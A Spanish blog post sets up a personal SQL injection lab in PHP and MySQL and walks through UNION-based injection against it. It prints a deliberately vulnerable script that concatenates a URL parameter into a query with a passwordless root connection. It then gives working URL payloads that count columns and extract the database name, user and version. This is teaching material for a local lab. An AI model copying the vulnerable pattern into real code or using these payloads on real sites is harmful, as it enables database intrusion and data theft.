miércoles, 8 de enero de 2014

Sql injection laboratorio propio

Siguiendo con SQL injection desde 0 me he creado un bonito laboratorio para trabajar con PHP y Mysql para probar SQL Injection esto montado esta montado en un Apache gracias a XAMPP.

sqli.html
<!DOCTYPE HTML>
<html>
<head>
<title> Sqli </title>
</head>

<body>
<header>
<h1> <font color = "red"> Taller sql Injection </font> </h1>
</header>

<p>
<a href = "sqli.php?id=1"> Enlace </a>
</p>
</body>

</html>

sqli.php
<!DOCTYPE HTML>
<html>
<head>
<title> Sqli </title>
</head>
<style>
body{
font-size: 20px;
font-family: Verdana;
}
h1{
font-size: 50px;
}

</style>

<body>
<header>
<h1> <font color = "red"> Taller sql Injection </font> </h1>
</header>
<?php
if(isset($_GET["id"])){
$id = $_GET["id"];
$con = mysql_connect("localhost","root","");
mysql_select_db("sqlinjection",$con);
$select = "SELECT * FROM clientes WHERE id=".$id;
$query = mysql_query($select,$con);
$columna = mysql_fetch_array($query);
echo "<h2> <font color = 'blue'> Bienvenid@ </font> </h2>";
echo "Hola : <font color = 'green'> ".$columna[1]."</font> <br>";
echo "Su saldo es de : <font color = 'green'> ".$columna[4]."</font> <br>";
}
else{
header("location: sqli.html");
}

mysql_close($con);
?>
</body>

</html>

La base de datos que he creado con PhpMyAdmin:
Base de datos: sqlinjection
Tabla: Clientes

E introducimos unos registros en mi caso son:



Una vez montado tiene esta apariencia:


Lo primero es insertar una comilla para ver si es vulnerable:


Lo siguiente es saber las columnas que tiene esa tabla, asi que vamos a usar la sentencia ORDER+BY usada en MYSQL para ordenar por ese campo el campo X

Vamos a ir ordenando por campos hasta que de fallo asi que:
http://localhost:8080/sqli/sqli.php?id=1+ORDER+BY+1--
http://localhost:8080/sqli/sqli.php?id=1+ORDER+BY+2--

Pero cuando llegamos a:
http://localhost:8080/sqli/sqli.php?id=1+ORDER+BY+6--

Ya sabemos que tiene 5 columnas esa tabla.

Ahora con la clausula UNION+SELECT vamos a ir uniendo columnas para comprobar que es correcto que tenemos 5 columnas, solo conseguiremos un buen resultado cuando el numero de columnas coincidan.
http://localhost:8080/sqli/sqli.php?id=1+union+select+1--
http://localhost:8080/sqli/sqli.php?id=1+union+select+1,2--

Hasta que efectivamente llegamos a 5
http://localhost:8080/sqli/sqli.php?id=1+union+select+1,2,3,4,5--

Si colocamos un menos delante adivinaremos a que columna corresponde cada espacio, usuario sabemos que es 2 y saldo 5.
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,2,3,4,5--


Ahora vamos a conseguir el nombre de la base de datos. Usaremos los sitios que sabemos para sustituirlos por la informacion que queremos extraer.
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,database(),3,4,5--

Para saber que con que usuario se esta trabajando usaremos la funcion current_user()
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,current_user(),3,4,5--
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,user(),3,4,5--

Una opcion buena de saber que version de php usa es con version()
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,version(),3,4,5--


Si queremos saber la codificación:
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,charset('str'),3,4,5--


Seguiremos...


No hay comentarios:

Publicar un comentario